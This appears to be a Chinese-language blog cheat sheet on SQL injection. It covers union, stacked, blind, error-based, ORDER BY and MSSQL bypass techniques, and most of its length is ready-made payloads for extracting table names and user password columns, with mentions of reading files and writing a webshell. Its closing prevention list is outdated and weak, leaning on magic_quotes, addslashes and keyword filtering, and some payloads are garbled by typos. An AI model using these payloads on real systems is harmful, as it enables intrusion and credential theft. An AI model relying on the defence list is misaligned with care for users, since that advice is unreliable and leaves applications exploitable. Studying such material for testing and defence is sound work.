0x01 SQL注入产生的原因:
程序开发过程中没有规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过把SQL命令插入到Web表单递交服务器,最终达到欺骗服务器执行恶意的SQL命令。
0x02 SQL注入的类型:
一:可联合查询注入:
UNION query SQL injection
二:堆叠注入:
Stacked queries SQL injection(可多语句查询注入) mysql sql server Postgresql
三:盲注:
1:Boolean-based blind SQL injection(布尔型注入)(盲注的一种,利用页面返回的true和false两种页面,利用页面不同进行猜解数据)
2:Time-based blind SQL injection(基于时间延迟注入)
四:报错型注入
Error-based SQL injection(报错型注入) (网站将数据库的错误输出了)
0x03UNION query SQL injection(可联合查询注入):
页面有回显的:
?id=1' and 1=1--+ 判断注入点
?id=1 order by n 通过升序判断字段
?id=-1 union select 1,2,3,4,....n 判断回显点
?id=-1' union select 1,database(),2,3,.....n# 显示数据库
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 猜表名
?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273# 猜列名
或者
?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用编码就不用单引号,用单引号就不用编码)
?id=-1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 猜用户数据
或
?id=-1' union select null,concat_ws(char(32,58,32),user,password) from users #
或
?id=-1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
load_file()函数读取任意文件
利用into outfile()函数写入一句话拿webshell
0x04 Stacked queries SQL injection(堆叠查询注入)
堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。
若页面没有回显(盲注)
?id=1' 判断注入点和类型
?id=1';select if(length(database())>=8,sleep(4),1) 判断当前数据库库名的长度 (若页面延迟,则sql成立)
由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。与boolean注入、时间盲注类似,也使用substr函数来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。
?id=1';select if(substr(database(),1,1)='s',sleep(4),1)%23 利用延迟判断数据库的名字
?id=1';select if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)%23
判断数据库的表名
链接:
https://blog.csdn.net/u010543271/article/details/79363543
0x05 盲注
时间型:通过页面沉睡时间判断
通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据
http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4)) --+
如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture 沉睡10秒,FALSE 沉睡4秒
基于布尔型:返回true或false
0x06 报错型注入
前提:
一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,
它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解
列如典型payload:
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
count(*)计数 concat()连接字符 floor()重复数据,返回0,1两个值 group by 进行分组 rand(0)避免数据重复造成的错误
通过updatexml函数:select *from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
通过extractvalue函数:select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));
?id=1' and (select 1 from (select count(*),concat((select (select (select concat(0x7e7e3a7e7e,count(distinct table_schema),0x7e7e3a7e7e) from information_schema.tables )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x )a)--+
查询数据库的个数count(*)、rand()、group by三者缺一不可
报错注入用一个公式,只要套用公式即可,公式如下:
(select 1 and (select count(*),concat(concat(user()),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select(select (爆错语句)) from information_schema.tables limit 0,1))x frominformation_schema.tables group by x )a)--+
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
updatexml()的报错注入
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
![](https://img.haomeiwen.com/i11661012/d1b07a4b5682442b.png)
updatexml的四种注入类型:
a. 载荷格式 :or updatexml(1,concat(0x7e,(version())),0) or
b.insert注入:INSERT INTO users (id, username, password) VALUES (2,'Pseudo_Z' or updatexml(1,concat(0x7e,(version())),0) or'','security-eng');
c. update注入:UPDATE users SET password='security-eng' or updatexml(2,concat(0x7e,(version())),0) or'' WHERE id=2 and username='Pseudo_Z';
d. delete注入:DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';
报错注入的函数有哪些? 10个
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from(select user())a));
0x06 ORDER BY 注入
order参数可控:select * from goods order by $_GET['order']
常用的判断手法,加 asc (升序) desc(降序)来看排列是否改变
接下来我们判断order by后面接的参数有没有影响,尝试注入:left(version(),1)和right(version(),1),发现结果没影响,说明后面参数随意,则此时我们可以进行注入,有以下三种注入方式:
① 直接注入,如:sort=(select username from users limit 0,1)--+,此时将会显示当前表的内容,如图。
![](https://img.haomeiwen.com/i13183513/5735d7fa78b0a617.png)
这里要注意不论我们注入任何查询,结果能显示的基本都是有限的,我们无法查询到我们查询的信息,例如这里我们注入:sort=(select group_concat(email_id) from emails)--+,结果依旧是只能看当前表的内容。
![](https://img.haomeiwen.com/i13183513/8c48573df4288d13.png)
所以这里就是相当于一种只有通过盲注才能获取到信息的状态,于是对于这种order by后的注入我们一般使用盲注,这里我们使用报错注入(当然其他盲注也都可以尝试):sort= (updatexml (1, concat (0x7e,(select database()),0x7e),1))--+,如图发现成功报错:。
![](https://img.haomeiwen.com/i13183513/284e7c38044f3f67.png)
② 使用一些函数,如rand()等,例如:sort=rand(updatexml(1,concat(0x7e,(select database()),0x7e),1))--+,结果一样,就不赘述了。
③ 在后面加and,再加入其他语句,例如:sort=1 and updatexml (1,concat (0x7e, (select database()),0x7e),1)--+,结果也一样
0x06 mssql中参数和union之间的位置,常见的可填充方式有如下几种:
1)空白字符 Mssql可以利用的空白字符有:
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)浮点数
select * from admin where id=1.1union select 1,'2',db_name() from admin
(4)1E0的形式:
select * from admin where id=1e0union select 1,'2',db_name() from admin
防止SQL注入:
1、开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置
2、执行sql语句时使用addslashes进行sql语句转换
3、Sql语句书写尽量不要省略小引号和单引号
4、过滤掉sql语句中的一些关键字:update、insert、delete、select、*
5、提高数据库表和字段的命名技巧,对一些重要的字段根据程序的特点命名,取不易被猜到的。
6、Php配置文件中设置register_globals为off,关闭全局变量注册
7、控制错误信息,不要再浏览器上输出错误信息,将错误信息写到日志文件中。
参考资料:
https://www.jianshu.com/p/4d7deb4d524a
https://www.cnblogs.com/blacksunny/p/9257352.html
网友评论